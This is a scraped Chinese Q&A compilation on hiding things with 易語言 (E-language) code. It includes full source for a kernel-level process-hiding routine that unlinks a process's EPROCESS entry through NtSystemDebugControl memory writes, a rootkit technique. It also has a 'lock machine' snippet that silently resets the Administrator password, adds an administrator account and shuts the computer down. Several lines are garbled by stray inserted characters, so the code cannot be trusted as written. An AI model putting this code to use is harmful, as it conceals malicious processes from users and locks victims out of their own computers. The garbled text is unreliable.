易語言源碼隱藏
1. 易語言源碼部分隱藏起來了怎麼顯示
在圖片中左側選程序選項卡然後找到窗口點前面的加號展開所有窗口列表就看到了
2. 誰有易語言隱藏進程代碼
版本 2
.子程序 隱藏進程, 邏輯型, 公開
.參數 pid, 整數型, 可空, 空為隱藏本進程,可輸入其它進程PID
.局部變數 eprocess, 長整數型
.局部變數 hand, 整數型
.局部變數 temp, 位元組集
.局部變數 fw_, 長整數型
.局部變數 bw_, 長整數型
.局部變數 fw, 位元組集
.局部變數 bw, 位元組集
.如果 (是否為空 (pid))
hand = OpenProcess (2075311, 0, GetCurrentProcessId ())
eprocess = 取進程EProcess (GetCurrentProcessId ())
CloseHandle (hand)
.否則
eprocess = 取進程EProcess (pid)
.如果結束
.如果真 (eprocess = 0)
返回 (假)
.如果真結束
temp = 讀物理內存 (eprocess + 136, 4)
.如果真 (temp = { })
返回 (假)
.如果真結束
fw_ = 取位元組集數據 (temp, #長整數型, )
fw = temp
temp = 讀物理內存 (eprocess + 140, 4)
.如果真 (temp = { })
返慎握回 (假)
.如果真結束
bw_ = 取位元組集數據 (temp, #長整數型, )
bw = temp
.如果真 (寫物理內存 (fw_ + 4, bw) = -1)
返回 (假)
.如果真結束
.如果真 (寫物理內存 (bw_, fw) = -1)
返回 (假)
.如果真結束
返回 (真)
//讀物理內存
.版本 2
.子程序 讀物理內存, 位元組集
.參數 地址, 長整數型
.參數 長度, 整數型, , <=4096
.局部變數 MEMORY_CHUNKS, 位元組集
.局部變數 ret, 位元組集
.局部變數 retlen, 整數型
ret = 取空白位元組集 (長度)
MEMORY_CHUNKS = 取位元組集左邊 (到位元組集 (地址), 4) + 到位元組集 (取指針_位元組集 (ret, ret, 0)) + 到位元組集 (長度)
NtSystemDebugControl (#SysDbgReadVirtualMemory, MEMORY_CHUNKS, 12, 0, 0, retlen) ' 12為MEMORY_CHUNKS的長度
.如果真 (retlen ≤ 0)
ret = { }
.如吵鉛果真結束
返回 (ret)
//寫物理內存
.版本 2
.子程序 寫物理內存, 整數型
.參數 地址, 長整數型
.參數 數據, 位元組集, , <=4096
.局部變數 MEMORY_CHUNKS, 位元組集
.局部變數 ret, 整數型
.局部變數 retlen, 整數型
.局部變數 len, 整數型
len = 取位元組集長度 (數據)
MEMORY_CHUNKS = 取位元組集左邊 (到位元組集 (地址), 4) + 到位元組集 (取指針_位元組集 (數據, 數據, 0)) + 到位元組集 (len)
NtSystemDebugControl (#SysDbgWriteVirtualMemory, MEMORY_CHUNKS, 12, 0, 0, retlen) ' 12為MEMORY_CHUNKS的長度
.如果真 (retlen ≤ 0)
ret = -1
.如果真結束
返回 (ret)
//取進程EProcess
.版本 2
.子程序 取進程EProcess, 長整數型
.參數 pid, 整數型
.局部變數 ret
.局部變數 信息塊, 位元組集
.局部變數 retlen
.局部變數 temp, SYSTEM_HANDLE_INFORMATION
.局部變數 信息塊指針偏移
.局部變數 number
.局部變數 結果, 長整數型
retlen =升孝好 1
.循環判斷首 ()
信息塊 = 取空白位元組集 (retlen)
ret = ZwQuerySystemInformation (#system_handle_infomation, 信息塊, retlen, 0)
.如果 (ret = #STATUS_INFO_LENGTH_MISMATCH)
retlen = retlen × 2
信息塊 = 取空白位元組集 (retlen)
.否則
跳出循環 ()
.如果結束
.循環判斷尾 (ret = #STATUS_INFO_LENGTH_MISMATCH)
信息塊指針偏移 = 取指針_位元組集 (信息塊, 信息塊, 0)
RtlMoveMemory3 (number, 信息塊指針偏移, 4)
信息塊指針偏移 = 信息塊指針偏移 + 4
.計次循環首 (number, )
RtlMoveMemory2 (temp, 信息塊指針偏移, 16)
.如果真 (pid = temp.ProcessId 且 temp.ObjectTypeNumber = 5)
返回 (十六文本至長整數 (取十六進制文本 (temp.Object)))
.如果真結束
信息塊指針偏移 = 信息塊指針偏移 + 16
.計次循環尾 ()
返回 (0)
3. 易語言 讓指定程序在任務欄上隱藏的源碼
.版本 2
.DLL命令 隱藏窗口, 整數型, "user32", "ShowWindow"
.參數 窗口句柄, 整數型
.參數 操作代碼, 整數型
.DLL命令 尋找窗口, 整數型, "user32", "FindWindowA"
.參數 類名, 整數型
.參數 標題, 文本型
.版本 2
.子程序 __啟動窗口_創建完畢
句柄 = 尋找窗口 (0, 「窗口名字」)
.版本 2
.子程序 _按鈕1_被單擊
.判斷開始 (按鈕1.標題 = 「隱藏游戲窗口」)
隱藏窗口 (句柄, 0)
按鈕1.標題 = 「顯示游戲窗口」
.默認
按鈕1.標題 = 「顯示游戲窗口」
隱藏窗口 (句柄, 1)
按鈕1.標題 = 「隱藏游戲窗口」
4. 易語言 怎麼將源碼隱藏起來
同樓上,做模塊即可,別人是看不到源碼的,只能通過公開的命令來調用。做模塊新建模塊即可。記住,你要讓別人調用的變數、命令、類、常緩行量都要公開。編譯出來擾雀嘩就是ec,歲皮別人調用就可以用了。
5. 易語言鎖機源碼
運行("net user Administrator 密碼",假,#隱藏窗口) 運行("net user 用戶名 密碼 /add",假,#隱藏窗口) 運行("net user administrators 同上用戶名 /add",假,#隱藏窗口) 這段代碼,就OK了 用戶名-賬號名稱,密碼-你想設定的密碼,同上用戶名-第二句代碼中的用戶名 自己改變一下 以此類推 ,要關機的話,加上: 關閉系統(#關機,真)
6. 這段易語言源碼幫我看看有什麼問題 謝謝 我想置文件屬性為隱藏文件 怎麼弄
你好。這段代碼可能存在問題有兩處、
一是第二個 透明標簽1.標題 取文本左邊時,要確保取出的是正確的文件路徑,決定你取出多少字元就在於你最後面的那個數字12,如果這個沒錯,請看下面
二是置文件屬性()錯了。只給出文件名沒給出路徑,系統找不到這個文件就設置不了屬性。。如果上一步是對的,那麼這邊改成
置文件屬性(透明標簽1.標題 + 「123.dll」,2) 就對了。。
試試吧。。